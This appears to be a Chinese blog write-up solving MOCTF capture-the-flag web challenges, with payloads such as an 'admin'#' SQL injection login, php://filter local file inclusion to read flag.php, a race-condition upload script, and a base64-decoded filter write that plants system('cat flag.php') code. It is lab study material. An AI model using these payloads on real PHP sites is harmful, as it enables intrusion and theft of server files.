网址
Web
一道水题
F12查看源码直接得到。
还是水题
F12修改下maxlength
和disabled
再提交moctf
即可。
访问限制
进去要求满足:
只允许使用NAIVE浏览器访问!
只允许香港记者访问!
用BP改下User-Agent:NAIVE
和Accept-Language:zh-HK
即可。
机器蛇
F12提示有robots.txt
,得到flag327a6c4304ad5938eaf0efb6cc3e53dc.php
,访问F12得到flag。
PHP黑魔法
提示用源码,访问:/index.php~
。F12得到源码。
<?php
$flag="moctf{**************}";
if (isset($_GET['a'])&&isset($_GET['b'])) {
$a=$_GET['a'];
$b=$_GET['b'];
if($a==$b)
{
echo "<center>Wrong Answer!</center>";
}
else {
if(md5($a)==md5($b))
{
echo "<center>".$flag."</center>";
echo "By:daoyuan";
}
else echo "<center>Wrong Answer!</center>";
}
}
else echo "<center>濂藉儚灏戜簡鐐逛粈涔�</center>";
?>
构造payload:?a[]=1&b[]=2
得到flag。
我想要钱
给了源码:
<?php
include "flag.php";
highlight_file(__FILE__);
if (isset($_GET['money'])) {
$money=$_GET['money'];
if(strlen($money)<=4&&$money>time()&&!is_array($money))
{
echo $flag;
echo "<!--By:daoyuan-->";
}
else echo "Wrong Answer!";
}
else echo "Wrong Answer!";
?>
给个科学计数法的数字即可:?money=1e99
登录就对了
简单的sql注入。使用万能密码进入即可:
usernmae=admin'#
password=123
文件包含
进入看到url变成:/index.php?file=welcome.txt
尝试发现flag.php
。直接用伪协议来读源码好了。
使用payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
base64解码后就可以得到flag。
暴跳老板
提示要给老板发邮件。
BP里构造:
暴躁老板.png
Flag在哪?
超多301跳转。访问flagfrog.php
即可。
美味的饼干
F12在网络里看到cookie
字段有一串base64编码,解码后得ee11cbb19052e40b07aac0ca060c23ee
。去somd5解码得到时user
。
把admin
先md5后base64编码,再用BP发过去就好了。
没时间解释了
这是一道条件竞争题。
302抓包访问uploadsomething.php
。
这道题就是通过条件竞争漏洞来强制上传我们的php文件。
在Burpsuite中把请求给Intruder
模块
payload
选择Null payloads
线程设置20
再写个python脚本不断去请求就可以得到flag。
import requests
url = 'http://119.23.73.3:5006/web2/uploads/8894fa8eb7ab38cf32e6287023cde2d702cd1e98/1.php'
while True:
res = requests.get(url)
if 'ctf' in res.text:
print(res.text)
死亡退出
访问给了源码:
<?php
show_source(__FILE__);
$c="<?php exit;?>";
@$c.=$_POST['c'];
@$filename=$_POST['file'];
if(!isset($filename))
{
file_put_contents('tmp.php', '');
}
@file_put_contents($filename, $c);
include('tmp.php');
?>
绕过<?php exit;?>
,而base64编码会把<?;>
过滤掉。file_put_contents
会利用到php伪协议来读取文件流。
所以先把<?php system('cat flag.php'); ?>
base64编码成:PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=
最后构造payload:
?c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=&file=php://filter/write=convert.base64-decode/resource=tmp.php
这样<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
base64decode之后会变成^?Z<?php system('cat flag.php');?>
,从而绕过。
POST后F12得到Flag。
火眼金睛
写Python就完事儿了:
import requests
import re
url = 'http://119.23.73.3:5001/web10/'
s = requests.Session()
res = s.get(url)
answer = re.findall("moctf",res.text)
num = len(answer)-1
print(num)
url = 'http://119.23.73.3:5001/web10/work.php'
res = s.post(url,data={'answer':num})
print(res.text)
unset
给了源码:
<?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['daiker']){
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['daiker'])){
include($_GET['file']);
}
}
?>
网友评论